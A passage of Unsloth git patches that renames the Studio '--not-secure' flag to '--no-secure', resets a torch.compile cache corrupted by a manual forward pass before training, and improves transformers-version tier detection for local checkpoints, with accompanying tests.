+            args.append("--secure" if secure else "--no-secure")
             # Forward an explicit tool policy; None -> run.py leaves it unset (tools on).
             if enable_tools is True:
                 args.append("--enable-tools")
@@ -1034,9 +1034,9 @@ def run(
     ),
     secure: bool = typer.Option(
         False,
-        "--secure/--not-secure",
+        "--secure/--no-secure",
         help = "Expose ONLY a Cloudflare HTTPS link: bind localhost and fail closed "
-        "if the tunnel can't start. Without it, --not-secure also serves the raw "
+        "if the tunnel can't start. Without it, --no-secure also serves the raw "
         "0.0.0.0 port, which is reachable from anywhere on the network.",
     ),
     tensor_parallel: bool = typer.Option(
@@ -1189,7 +1189,7 @@ def run(
         args.extend(["--parallel", str(parallel)])
         # Forward the explicit polarity (same rationale as --load-in-4bit above).
         args.append("--cloudflare" if cloudflare else "--no-cloudflare")
-        args.append("--secure" if secure else "--not-secure")
+        args.append("--secure" if secure else "--no-secure")
         args.append("--tensor-parallel" if tensor_parallel else "--no-tensor-parallel")
         if verbose:
             args.append("--verbose")
diff --git a/unsloth_cli/tests/test_studio_secure_flag.py b/unsloth_cli/tests/test_studio_secure_flag.py
index 9ed9325011..ab19a963de 100644
--- a/unsloth_cli/tests/test_studio_secure_flag.py
+++ b/unsloth_cli/tests/test_studio_secure_flag.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Tests for the `--secure/--not-secure` Studio flag: option registration,
+"""Tests for the `--secure/--no-secure` Studio flag: option registration,
 re-exec/run_server forwarding, the forced 127.0.0.1 bind, and rejection
 alongside --no-cloudflare or before a subcommand. Modeled on
 test_studio_cloudflare_flag.py."""
@@ -35,7 +35,7 @@ def test_run_exposes_secure_option_default_off():
 
     opt = inspect.signature(_studio().run).parameters["secure"].default
     decls = set(getattr(opt, "param_decls", []) or [])
-    assert "--secure/--not-secure" in decls
+    assert "--secure/--no-secure" in decls
     assert getattr(opt, "default", None) is False
 
 
@@ -44,7 +44,7 @@ def test_studio_default_exposes_secure_option_default_off():
 
     opt = inspect.signature(_studio().studio_default).parameters["secure"].default
     decls = set(getattr(opt, "param_decls", []) or [])
-    assert "--secure/--not-secure" in decls
+    assert "--secure/--no-secure" in decls
     assert getattr(opt, "default", None) is False
 
 
@@ -129,9 +129,9 @@ def _invoke_studio_default(monkeypatch, args):
 @pytest.mark.parametrize(
     "user_flag,expected,unexpected",
     [
-        (None, "--not-secure", "--secure"),  # default off
-        ("--secure", "--secure", "--not-secure"),
-        ("--not-secure", "--not-secure", "--secure"),
+        (None, "--no-secure", "--secure"),  # default off
+        ("--secure", "--secure", "--no-secure"),
+        ("--no-secure", "--no-secure", "--secure"),
     ],
 )
 def test_run_reexec_forwards_secure_polarity(monkeypatch, user_flag, expected, unexpected):

From 9dbd40e5b31fdb65fc78d4a17eaf3ceeceea0840 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 05:39:48 -0700
Subject: [PATCH 026/306] Reset torch.compile cache poisoned by a stray forward
 before trainer.train() (#6511)

* Reset torch.compile cache poisoned by a stray forward before trainer.train()

A manual forward / forward+backward run under model.train() before
trainer.train() (for example a pre-train grad-norm probe like
out = model(**batch); out.loss.backward()) silently poisons training when
torch.compile is enabled. The stray training-mode pass is the first one in the
process, so it compiles and caches the model forward and, via AOTAutograd, its
backward graph in a one-off context that does not match the real training loop.
When trainer.train() reuses that cached graph the gradients come out NaN/Inf,
the loss never moves, and the run looks like it trains but never learns.

Observed on gpt-oss-20b (loss frozen at ~4.25, grad_norm NaN from step 1) with
both use_gradient_checkpointing="unsloth" and =True. It does not reproduce when
the probe runs under torch.no_grad(), nor with UNSLOTH_COMPILE_DISABLE=1, and a
single torch._dynamo.reset() before training fully cures it (loss 4.29 -> 0.0002,
identical to a run with no probe). Resetting the gradient-checkpointing buffers,
zero_grad, empty_cache, or for_training does not help, confirming the corruption
lives in the torch._dynamo / torch.compile cache.

get_peft_model now attaches a one-shot forward pre-hook that records whether a
forward ran before train(). prepare_for_training_mode checks it at the start of
train() and, if a pre-train forward was seen and torch.compile is enabled, calls
torch._dynamo.reset() (plus a pristine gradient-checkpoint reset and zero_grad)
and warns once. On the normal path (no pre-train forward) it is a strict no-op:
no dynamo reset, no recompilation, identical loss curve.

* Ignore no-grad pre-train probes and detect probes across the wrapper chain

A no-grad forward (with torch.no_grad(): model(**batch)) builds no AOTAutograd
backward graph, so it cannot poison the compiled training graph. Gate the marker
on torch.is_grad_enabled() so such probes no longer trigger a needless dynamo
reset, recompile and warning on an otherwise clean run.

Also walk the model wrapper chain (PeftModel / DDP / base model) when resetting
so a probe that ran on a different wrapper than self.model is still detected, and
tear down every detector hook in the chain. Re-installing the detector is now
idempotent and only re-registers when a prior hook was already removed.

* Walk DDP/FSDP .module when scanning for the pre-train marker

The chain walk followed only .model and .base_model, so a probe that fired on the
model below a DDP/FSDP wrapper (which exposes it via .module) left the marker
undetected and the poisoned compile cache un-reset. Add .module to the walk.

* Install pre-train detector on the full-finetuning path too

get_peft_model returns early when UNSLOTH_ENABLE_FULL_FINETUNING=1, before the
detector was installed, so full-finetuning runs (which still use torch.compile) did
not drop a graph cache poisoned by a stray pre-train forward. Install the detector
before both full-finetuning early returns (FastLlamaModel and FastBaseModel). The
detector is idempotent, so this never stacks duplicate hooks when get_peft_model is
also called on a LoRA model.

* torch.compile stray-forward reset: tighten comments (no code change)

* Wire stray-forward compile-cache reset into SFT path and PEFT pass-through

The pre-train forward detector is installed for plain LoRA/vision models in
get_peft_model, but only RL trainers ran the reset via prepare_for_training_mode.
A grad-enabled probe before SFTTrainer.train() therefore left the poisoned Dynamo
cache in place and the detector hook running on every training forward.

- trainer.py: wrap SFTTrainer.train to run _unsloth_reset_stray_compile_cache,
  which both drops the poisoned cache and tears down the detector hook. For
  UnslothSFTTrainer the later prepare_for_training_mode assignment supersedes it.
- llama.py: arm the detector before the 'Already have LoRA adapters' early return
  so pre-wrapped PEFT models keep the reset capability.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Preserve detector evidence on reinstall + wire reset into plain Trainer path

P2 (_utils.py): _unsloth_install_pretrain_detector cleared marker['seen'] before the
live-hook early return, so a re-entrant get_peft_model/patch_peft_model after a
grad-enabled probe erased the recorded poisoning while leaving the hook installed,
and train() then skipped the Dynamo reset. Only reset seen when (re)installing a
fresh hook; keep it when a live hook is already recording.

P2 (llama.py): the detector is armed for every LoRA model, but only TRL SFT/RL train
wrappers consumed it. Inject _unsloth_reset_stray_compile_cache(self) at the start of
the generated _fast_inner_training_loop so a bare transformers.Trainer.train() also
drops a poisoned cache and tears down the hook. Idempotent with the TRL-wrapper reset.

* Make _unsloth_reset_stray_compile_cache an importable module-level helper

The reset was only defined inside the RLTrainer_replacement template string, so
'from unsloth.models.rl import _unsloth_reset_stray_compile_cache' raised ImportError
(swallowed) on the SFT auto-packing wrapper and the injected plain-Trainer loop -
both paths kept the poisoned Dynamo cache and the dangling detector hook.

Move the canonical implementation to unsloth.models._utils (next to the detector,
exported in __all__). The RL trainer template now imports it (no-op fallback if the
import ever fails), and trainer.py / llama.py import it from _utils too, so every
training entry point actually runs the reset.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 unsloth/models/_utils.py | 105 +++++++++++++++++++++++++++++++++++++++
 unsloth/models/llama.py  |  26 ++++++++++
 unsloth/models/rl.py     |  11 ++++
 unsloth/models/vision.py |   6 +++
 unsloth/trainer.py       |  24 +++++++++
 5 files changed, 172 insertions(+)

diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index 742f5f57e0..2365975cdd 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -62,6 +62,8 @@ __all__ = [
     "patch_unsloth_smart_gradient_checkpointing",
     "unpatch_unsloth_smart_gradient_checkpointing",
     "apply_unsloth_gradient_checkpointing",
+    "_unsloth_install_pretrain_detector",
+    "_unsloth_reset_stray_compile_cache",
     "patch_compiled_autograd",
     "process_vision_info",
     "unsloth_compile_transformers",
@@ -194,6 +196,109 @@ from unsloth_zoo.temporary_patches import (
 )
 
 
+def _unsloth_install_pretrain_detector(model):
+    """Attach a one-shot forward pre-hook recording whether a forward ran before
+    trainer.train(), so prepare_for_training_mode can drop a torch.compile graph cache poisoned
+    by a stray manual forward/backward. Idempotent; no-op if the model cannot take hooks."""
+    if model is None or not hasattr(model, "register_forward_pre_hook"):
+        return model
+    marker = getattr(model, "_unsloth_pretrain_marker", None)
+    if isinstance(marker, dict):
+        # A live hook is already recording: keep it (no duplicates) and DON'T clear seen -- a
+        # grad-enabled probe may have already flagged the poisoned cache, and a re-entrant
+        # get_peft_model/patch_peft_model call must not erase that before train() resets.
+        if "hook" in marker:
+            return model
+        # Marker exists but its hook was torn down -> reinstall fresh, so reset seen.
+        marker["seen"] = False
+    else:
+        marker = {"seen": False}
+        try:
+            model._unsloth_pretrain_marker = marker
+        except Exception:
+            return model
+
+    def _mark(_module, _inp):
+        # Only a grad-enabled forward poisons the AOTAutograd backward-graph cache; a no-grad
+        # probe builds no backward graph, so treat it as clean (avoids a needless dynamo reset).
+        if torch.is_grad_enabled():
+            marker["seen"] = True
+
+    try:
+        marker["hook"] = model.register_forward_pre_hook(_mark)
+    except Exception:
+        pass
+    return model
+
+
+def _unsloth_reset_stray_compile_cache(self):
+    # A manual forward/backward under torch.compile BEFORE trainer.train() (e.g. a grad-norm
+    # probe) caches a forward + AOTAutograd backward graph in a one-off context; reusing it
+    # poisons training with NaN/zero gradients. If such a forward was seen and compile is on,
+    # drop the compiled-graph cache so training recompiles cleanly. No-op on the normal path.
+    # Module-level (not just inside the RL trainer template) so the SFT auto-packing wrapper and
+    # the plain-Trainer loop can import and run it too.
+    import os
+
+    model = getattr(self, "model", None)
+    if model is None:
+        return
+    # The detector hook can sit on any wrapper in the chain, and the probe may have run on a
+    # different one than self.model, so walk the chain: detect a "seen" marker anywhere and
+    # collect every marker to tear down below.
+    markers = []
+    seen = False
+    _curr = model
+    _visited = set()
+    while _curr is not None and id(_curr) not in _visited:
+        _visited.add(id(_curr))
+        _m = getattr(_curr, "_unsloth_pretrain_marker", None)
+        if isinstance(_m, dict):
+            markers.append(_m)
+            if _m.get("seen"):
+                seen = True
+        # Follow the wrapper chain: Unsloth/HF (.model), PEFT (.base_model), DDP/FSDP (.module).
+        _nxt = getattr(_curr, "model", None)
+        if _nxt is None:
+            _nxt = getattr(_curr, "base_model", None)
+        if _nxt is None:
+            _nxt = getattr(_curr, "module", None)
+        _curr = _nxt
+    if seen and os.environ.get("UNSLOTH_COMPILE_DISABLE", "0") != "1":
+        try:
+            import torch._dynamo as _dynamo
+            _dynamo.reset()
+        except Exception:
+            pass
+        try:
+            from unsloth_zoo.gradient_checkpointing import (
+                reset_unsloth_gradient_checkpointing_buffers,
+            )
+            reset_unsloth_gradient_checkpointing_buffers()
+        except Exception:
+            pass
+        try:
+            model.zero_grad(set_to_none = True)
+        except Exception:
+            pass
+        import warnings
+
+        warnings.warn(
+            "Unsloth: detected a manual forward/backward run before trainer.train(); "
+            "reset the torch.compile graph cache it poisoned so training starts clean. "
+            "To avoid this, run any pre-train probe under `with torch.no_grad():`."
+        )
+    # Tear down every one-shot detector hook in the chain so none adds per-step cost.
+    for _m in markers:
+        hook = _m.pop("hook", None)
+        if hook is not None:
+            try:
+                hook.remove()
+            except Exception:
+                pass
+        _m["seen"] = False
+
+
 def apply_unsloth_gradient_checkpointing(use_gradient_checkpointing, max_seq_length, dtype):
     """
     Apply gradient checkpointing with smart heuristics.
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index 2f449453f9..7b9cf3df0e 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -2762,6 +2762,20 @@ class FastLlamaModel:
             "is_torch_tpu_available()",
             "False",
         )
+        # Wire the stray-forward compile-cache reset into the plain Trainer path: get_peft_model
+        # arms the pre-train detector for every LoRA model, but only the TRL SFT/RL wrappers run
+        # the reset. A grad-enabled probe before a bare transformers.Trainer.train() would
+        # otherwise keep the poisoned Dynamo cache and leave the detector hook installed. Anchored
+        # on the first body statement; a no-op (and harmless) if upstream drops that line.
+        inner_training_loop = inner_training_loop.replace(
+            "self.accelerator.free_memory()",
+            "self.accelerator.free_memory()\n"
+            "    try:\n"
+            "        from unsloth.models._utils import _unsloth_reset_stray_compile_cache as _unsloth_reset_cc\n"
+            "        _unsloth_reset_cc(self)\n"
+            "    except Exception: pass",
+            1,
+        )
         exec(inner_training_loop, globals())
         Trainer._inner_training_loop = _fast_inner_training_loop
 
@@ -2944,6 +2958,9 @@ class FastLlamaModel:
             )
         if os.environ.get("UNSLOTH_ENABLE_FULL_FINETUNING", "0") == "1":
             print("Unsloth: Full finetuning is enabled, so .get_peft_model has no effect")
+            # Full finetuning still compiles, so a stray pre-train forward can poison the
+            # cache; install the detector here too (it is idempotent).
+            _unsloth_install_pretrain_detector(model)
             return model
         transformers_set_seed(random_state)
 
@@ -3022,6 +3039,9 @@ class FastLlamaModel:
                         model.get_output_embeddings(), DEVICE_TYPE_TORCH
                     )
 
+                # Pre-wrapped PEFT model passes through here; still arm the detector so an RL
+                # trainer can reset a compile cache poisoned by a pre-train forward.
+                _unsloth_install_pretrain_detector(model)
                 return model
             else:
                 raise TypeError(
@@ -3374,6 +3394,9 @@ class FastLlamaModel:
             m.for_training = functools.partial(FastBaseModel.for_training, m)
             m.for_inference = functools.partial(FastBaseModel.for_inference, m)
             m = m.model
+        # Detect a stray pre-train forward so train() can drop the torch.compile
+        # graph cache it would otherwise poison (see prepare_for_training_mode).
+        _unsloth_install_pretrain_detector(model)
         return model
 
     @staticmethod
@@ -3591,6 +3614,9 @@ class FastLlamaModel:
             m.for_training = functools.partial(FastBaseModel.for_training, m)
             m.for_inference = functools.partial(FastBaseModel.for_inference, m)
             m = m.model
+        # Detect a stray pre-train forward so train() can drop the torch.compile
+        # graph cache it would otherwise poison (see prepare_for_training_mode).
+        _unsloth_install_pretrain_detector(model)
         return model
 
     @staticmethod
diff --git a/unsloth/models/rl.py b/unsloth/models/rl.py
index c3237b6481..a85c1d08a4 100644
--- a/unsloth/models/rl.py
+++ b/unsloth/models/rl.py
@@ -390,9 +390,20 @@ try:
     from unsloth_zoo.gradient_checkpointing import reset_unsloth_gradient_checkpointing_buffers
 except:
     def reset_unsloth_gradient_checkpointing_buffers(): pass
+# Canonical reset lives in unsloth.models._utils so the SFT auto-packing wrapper and the plain
+# Trainer loop can import the same helper; fall back to a no-op only if it can't be imported.
+try:
+    from unsloth.models._utils import _unsloth_reset_stray_compile_cache
+except Exception:
+    def _unsloth_reset_stray_compile_cache(self): pass
 def prepare_for_training_mode(f):
     @functools.wraps(f)
     def wrapper(self, *args, **kwargs):
+        # Drop any torch.compile graph cache poisoned by a stray pre-train forward.
+        try:
+            _unsloth_reset_stray_compile_cache(self)
+        except Exception:
+            pass
         # Finish the previous W&B run if this is a subsequent train() call.
         # We do this at the START of train() (not the end) so that
         # evaluate() / log() still work after train() completes.
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index b68f0361e3..182030c68b 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -1386,6 +1386,9 @@ class FastBaseModel:
     ):
         if os.environ.get("UNSLOTH_ENABLE_FULL_FINETUNING", "0") == "1":
             print("Unsloth: Full finetuning is enabled, so .get_peft_model has no effect")
+            # Full finetuning still compiles, so a stray pre-train forward can poison the
+            # cache; install the detector here too (it is idempotent).
+            _unsloth_install_pretrain_detector(model)
             return model
         transformers_set_seed(random_state)
 
@@ -1583,6 +1586,9 @@ class FastBaseModel:
             m.for_training = functools.partial(FastBaseModel.for_training, m)
             m.for_inference = functools.partial(FastBaseModel.for_inference, m)
             m = m.model
+        # Detect a stray pre-train forward so train() can drop the torch.compile
+        # graph cache it would otherwise poison (see prepare_for_training_mode).
+        _unsloth_install_pretrain_detector(model)
         return model
 
     @staticmethod
diff --git a/unsloth/trainer.py b/unsloth/trainer.py
index 8790099fe3..83cb1758f0 100644
--- a/unsloth/trainer.py
+++ b/unsloth/trainer.py
@@ -596,6 +596,30 @@ def _patch_sft_trainer_auto_packing(trl_module):
             )
             print(message)
 
+        # get_peft_model installs a pre-train forward detector for plain LoRA/vision models,
+        # but only RL trainers run the reset via prepare_for_training_mode. Wire it into the
+        # SFT train() path too, else a grad-enabled probe before train() leaves the poisoned
+        # Dynamo cache in place and the detector hook installed on every training forward.
+        # (For UnslothSFTTrainer the later prepare_for_training_mode assignment supersedes this.)
+        if not getattr(self, "_unsloth_train_reset_wrapped", False):
+            try:
+                from unsloth.models._utils import _unsloth_reset_stray_compile_cache
+
+                _orig_train = self.train
+
+                @wraps(_orig_train)
+                def _train_with_reset(*train_args, **train_kwargs):
+                    try:
+                        _unsloth_reset_stray_compile_cache(self)
+                    except Exception:
+                        pass
+                    return _orig_train(*train_args, **train_kwargs)
+
+                self.train = _train_with_reset
+                self._unsloth_train_reset_wrapped = True
+            except Exception:
+                pass
+
     sft_trainer.__init__ = new_init
     sft_trainer._unsloth_auto_packing_wrapped = True
 

From 040858c382c01424dfec10ada2315457d6e6951a Mon Sep 17 00:00:00 2001
From: Leo Borcherding <borchborchmail@gmail.com>
Date: Mon, 22 Jun 2026 07:40:39 -0500
Subject: [PATCH 027/306] Studio: fix tier detection for models loaded via
 custom folder path (#6396)

* Studio: detect transformers 5.3.0 tier from config.json for local checkpoints

A local safetensors folder whose config.json did not match the Gemma4 (510/550)
architecture signals short-circuited get_transformers_tier() to "default"
(transformers 4.57.x), never reaching the name-substring check that routes
Qwen3.5 to the 5.3.0 sidecar. So a local Qwen3.5 checkpoint (model_type
"qwen3_5", needs transformers >= 5.2.0) loaded with 4.57.x and failed with
"does not support Qwen3.5". The same model as a remote HF id worked, because it
has no local config.json to trigger the short-circuit.

Detect the 5.3.0 tier from config.json (model_type "qwen3_5" / architecture
Qwen3_5ForCausalLM) in the local-config branch, mirroring the existing Gemma4
510/550 handling. This is a positive config signal, so it fixes local Qwen3.5
without weakening the directory-name false-positive guard (a llama checkpoint
under a "gemma-4-12b-*" parent still resolves to default).

Adds tests for the config-based 530 detection and local-folder tier resolution.

* Studio: suppress false warning when config.json parse fails for sidecar-tier models

* Studio: generalize local-checkpoint tier detection for all 5.3.0 families

Expands the config.json-based tier detection to cover all known 5.3.0-tier
model families (Qwen3 MoE, GLM-4.7-Flash, LFM2.5-VL) and adds a _name_or_path
fallback so renamed local checkpoints with unrecognised model_type values still
route correctly via the HF ID embedded in their config.json.

- Expand _TRANSFORMERS_530_ARCHITECTURES / _MODEL_TYPES with verified entries
  from Qwen3MoeForCausalLM, Glm4MoeLiteForCausalLM, Lfm2VlForConditionalGeneration,
  and Qwen3_5ForConditionalGeneration (confirmed from local Qwen3.5-2B config.json)
- Extract _tier_from_name() helper, deduplicating the fast-substring logic used
  by both the remote-path branch and the new config _name_or_path fallback
- In the local-config branch: after architecture checks, resolve the tier from
  cfg._name_or_path / cfg.model_name before returning "default", preserving the
  existing directory-name false-positive guard
- 79 tests passing

* Studio: match 510/550 style for 530 config sets (no inline comments)

* Studio: use _resolve_base_model instead of reinlining _name_or_path lookup

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: recurse into get_transformers_tier for resolved base model (Gemini suggestion)

* Studio: use _tier_from_name in local-config fallback to avoid network probes

Using get_transformers_tier(resolved) on the _name_or_path fallback would
trigger up to 3 network fetches (config.json + tokenizer_config.json, 10s
each) for every ordinary checkpoint whose _name_or_path is a plain HF ID
like meta-llama/Llama-3-8B. The fallback's purpose is name-based detection
on the resolved HF ID, _tier_from_name covers all known cases without I/O.

* Studio: add _check_config_needs_530 to slow HF-ID fallback path

Private or renamed HF repos whose model IDs lack a 5.3 substring were
silently routed to the default tier. _check_config_needs_530 mirrors the
existing 510/550 pattern: fetches config.json once, caches the result, and
is called after the 550 check in the slow path. Includes 5 unit tests.

* Studio: guard _tier_from_name fallback against local-path false positives

When _name_or_path in config.json is an absolute path to the same checkpoint
passed as a relative path, the textual resolved != model_name check passes
and _tier_from_name would scan the directory path for substrings. Split the
fallback: local directories recurse into get_transformers_tier (config check,
no network I/O); HF Hub IDs use _tier_from_name (name-based, no network).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: separator-norm aliases, model_name/_name_or_path fallback, tests

- _norm_separators(): collapse _ . whitespace to - so underscore/dot model
  ID variants (Qwen3_5, Qwen3_Next) match the canonical substring list
- _tier_from_name(): apply norm to both name and each substring so aliases
  resolve without duplicating the substring lists
- _resolve_base_model(): try model_name then _name_or_path separately so a
  self-referential Unsloth model_name doesn't hide the useful HF ID in
  _name_or_path
- Gate get_base_model_from_lora on adapter_cfg_path.is_file() to avoid
  eagerly importing transformers before the sidecar venv is on sys.path
- 17 new tests covering _norm_separators, separator-insensitive
  _tier_from_name, and the model_name/_name_or_path fallback

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: only pre-resolve LoRA adapters in activation callers

activate_transformers_for_subprocess and ensure_transformers_version were
pre-resolving all local checkpoints via _resolve_base_model before calling
get_transformers_tier. After the model_name/_name_or_path fix, a full
checkpoint with a private/offline _name_or_path and no tier substring would
resolve to that HF ID, which can't be probed, bypassing the local config.json
model_type check entirely. Gate pre-resolution on adapter_config.json so full
checkpoints go straight to get_transformers_tier, which reads config.json
directly. LoRA adapters still pre-resolve as before.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: fix Qwen3.5 MoE/Qwen3.6 tier detection and dot-version false positives

- Add Qwen3.5 MoE (qwen3_5_moe / Qwen3_5MoeForConditionalGeneration) and
  Qwen3-Next to the 5.3.0 config sets, so renamed local checkpoints route to
  the sidecar instead of default transformers
- Let a 510/550 name match override a 530 config match, so Qwen3.6 (which
  reuses qwen3_5 / qwen3_5_moe config ids) still routes to the 5.5.0 sidecar
- Stop normalizing version dots to hyphens so size names like Qwen3-5B and
  Qwen3-6B are not promoted to a 5.x sidecar; underscore aliases still match
- Skip name matching for resolved values that look like stale local paths

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: close remaining codex P2s: adapter-only LoRA + 530-override path-hint guard

- adapter_model-only LoRA: add import-light _is_lora_adapter_dir/_has_adapter_weights
  and gate activation/export pre-resolve on them, so LoRA dirs with
  adapter_model*.safetensors but no adapter_config.json still resolve to their base
  model (via _resolve_base_model's new unsloth_<model>_<ts> directory-name parse)
  instead of tiering off the adapter folder.
- 530 override: only treat a resolved value as a name hint when it is a real Hub id;
  a stale/renamed local path in model_name/_name_or_path can no longer flip a correct
  530 config to 550. Current folder basename still allowed.

Added 7 regression tests; suite at 116 passing.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: address review feedback on tier detection

- Add Qwen3.5 text-tower model types (qwen3_5_text / qwen3_5_moe_text) to the
  5.3.0 config set so text-only configs with stripped architectures still route
  to the sidecar
- Apply the Qwen3.6 name override on the remote slow path too, so a renamed or
  private repo whose config reuses qwen3_5 ids but names Qwen3.6 in
  _name_or_path selects 5.5.0 instead of 5.3.0
- Treat an existing local path (or empty value) as a path, not a Hub id, in
  _looks_like_hf_id so a real local checkpoint folder is not name matched
- Guard _resolve_base_model against non-string config values and compare paths
  by realpath so relative or absolute self references resolve correctly
- Keep the LoRA adapter is_file check inside the OSError guard

* Studio: harden tier detection against malformed configs and bad paths

- _config_matches_tier no longer raises TypeError when a malformed config.json
  carries a non-string model_type (e.g. a list) or non-list architectures; it
  fails open to no-match
- guard the model_name-derived is_file/is_dir probes with _safe_is_file /
  _safe_is_dir so a pathological or over-long path (e.g. a Windows long path)
  fails open to the default tier instead of raising OSError

No routing changes for any valid model; purely defensive. Verified by a
cross-platform simulation (POSIX + NT path semantics) and a before/after tier
matrix that is unchanged for all previously supported models.

* Studio: trim verbose comments in tier detection

Shorten/remove over-long comments and docstrings, mainly on internal helpers,
without changing behavior. Verified code-only via comment_tools.py check; suite
unchanged at 128 passing.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 .../tests/test_transformers_version.py        | 693 +++++++++++++++++-
 studio/backend/utils/hardware/hardware.py     |  19 +-
 studio/backend/utils/transformers_version.py  | 368 ++++++++--
 3 files changed, 1007 insertions(+), 73 deletions(-)

diff --git a/studio/backend/tests/test_transformers_version.py b/studio/backend/tests/test_transformers_version.py
index ccce3accc1..5736c9104d 100644
--- a/studio/backend/tests/test_transformers_version.py
+++ b/studio/backend/tests/test_transformers_version.py
@@ -31,11 +31,18 @@ sys.modules.setdefault("loggers", _loggers_stub)
 
 from utils.transformers_version import (
     _resolve_base_model,
+    _is_lora_adapter_dir,
+    _has_adapter_weights,
     _remote_lora_base,
     _check_tokenizer_config_needs_v5,
     _check_config_needs_510,
+    _check_config_needs_530,
     _check_config_needs_550,
     _config_needs_510,
+    _config_needs_530,
+    _norm_separators,
+    _tier_from_name,
+    _looks_like_hf_id,
     _nemotron_h_needs_mlp_support,
     _config_json_from_hf_cache,
     _load_config_json,
@@ -43,6 +50,7 @@ from utils.transformers_version import (
     _config_json_cache,
     _tokenizer_class_cache,
     _config_needs_510_cache,
+    _config_needs_530_cache,
     _config_needs_550_cache,
     needs_transformers_5,
     get_transformers_tier,
@@ -106,6 +114,14 @@ class TestResolveBaseModel:
         result = _resolve_base_model(str(tmp_path))
         assert result == "Qwen/Qwen3.5-9B"
 
+    def test_non_string_base_does_not_crash(self, tmp_path: Path):
+        """A malformed config (list/dict for model_name) must not raise."""
+        config_cfg = {"model_name": ["x"], "_name_or_path": "Qwen/Qwen3.5-9B"}
+        (tmp_path / "config.json").write_text(json.dumps(config_cfg))
+
+        # Skips the non-string model_name and falls through to _name_or_path.
+        assert _resolve_base_model(str(tmp_path)) == "Qwen/Qwen3.5-9B"
+
     def test_model_name_takes_priority_over_name_or_path(self, tmp_path: Path):
         """model_name should be preferred over _name_or_path."""
         config_cfg = {
@@ -1129,9 +1145,13 @@ class TestActivateLoggingClarity:
         assert "5.10.2" in text, f"local checkpoint tier did not win: {text!r}"
 
     def test_activate_adapter_without_config_skips_path_name_recheck(self, caplog, tmp_path):
-        # Adapter dir named 'gemma-4' but no config.json: the path-name re-check must not run.
+        # LoRA adapter in a dir named 'gemma-4' (base resolves elsewhere): the resolved
+        # base drives the tier; the path name must not re-check or upgrade it.
         adapter = tmp_path / "gemma-4-experiment" / "llama-lora"
         adapter.mkdir(parents = True)
+        (adapter / "adapter_config.json").write_text(
+            json.dumps({"base_model_name_or_path": "meta/llama"})
+        )
         local = str(adapter)
         caplog.set_level(logging.INFO)
         snap = self._snapshot_env()
@@ -1263,3 +1283,674 @@ class TestEnsureVenvDirProgressLogging:
         assert ok is True
         mock_install.assert_not_called()
         assert "Installing" not in " ".join(r.getMessage() for r in caplog.records)
+
+
+# ---------------------------------------------------------------------------
+# _tier_from_name — shared name-based detection helper
+# ---------------------------------------------------------------------------
+
+
+class TestTierFromName:
+    """Unit tests for _tier_from_name(), which backs both the fast substring
+    path and the config _name_or_path fallback."""
+
+    def test_returns_none_for_unknown(self):
+        assert _tier_from_name("meta-llama/Llama-3-8B") is None
+
+    def test_gemma4_returns_550(self):
+        tier, _ = _tier_from_name("google/gemma-4-E2B-it")
+        assert tier == "550"
+
+    def test_gemma4_assistant_returns_510(self):
+        tier, match = _tier_from_name("google/gemma-4-E2B-it-assistant")
+        assert tier == "510"
+        assert "assistant" in match
+
+    def test_gemma4_12b_returns_510(self):
+        tier, _ = _tier_from_name("unsloth/gemma-4-12b-it")
+        assert tier == "510"
+
+    def test_qwen35_returns_530(self):
+        tier, match = _tier_from_name("Qwen/Qwen3.5-7B")
+        assert tier == "530"
+        assert "qwen3.5" in match
+
+    def test_ministral3_returns_530(self):
+        # The existing substring "ministral-3-" matches the 2512 naming style.
+        tier, _ = _tier_from_name("mistralai/Ministral-3-8B-Instruct-2512")
+        assert tier == "530"
+
+    def test_qwen3_moe_substring_returns_530(self):
+        tier, _ = _tier_from_name("Qwen/Qwen3-30B-A3B-Instruct-2507")
+        assert tier == "530"
+
+    def test_510_beats_550(self):
+        """gemma-4-12b matches 510 (checked first), not 550."""
+        tier, _ = _tier_from_name("google/gemma-4-12b-it")
+        assert tier == "510"
+
+    def test_550_beats_530(self):
+        """gemma-4 matches 550, not 530."""
+        tier, _ = _tier_from_name("gemma-4-model")
+        assert tier == "550"
+
+
+# ---------------------------------------------------------------------------
+# Local-folder tier detection via config.json
+#
+# When a local checkpoint's config.json architecture/model_type matches a known
+# sidecar set, that's the authoritative answer.  When it doesn't match (unknown
+# or future family), the HF model ID from _name_or_path / model_name in the
+# config is run through the same name-based rules so renamed folders are still
+# routed correctly without introducing path false-positives.
+# ---------------------------------------------------------------------------
+
+
+class TestLocalConfig530Tier:
+    def setup_method(self):
+        _config_json_cache.clear()
+        _tokenizer_class_cache.clear()
+        _config_needs_530_cache.clear()
+
+    # --- config-set matches -------------------------------------------------
+
+    def test_config_needs_530_qwen3_5_model_type(self):
+        assert _config_needs_530({"model_type": "qwen3_5"}) is True
+
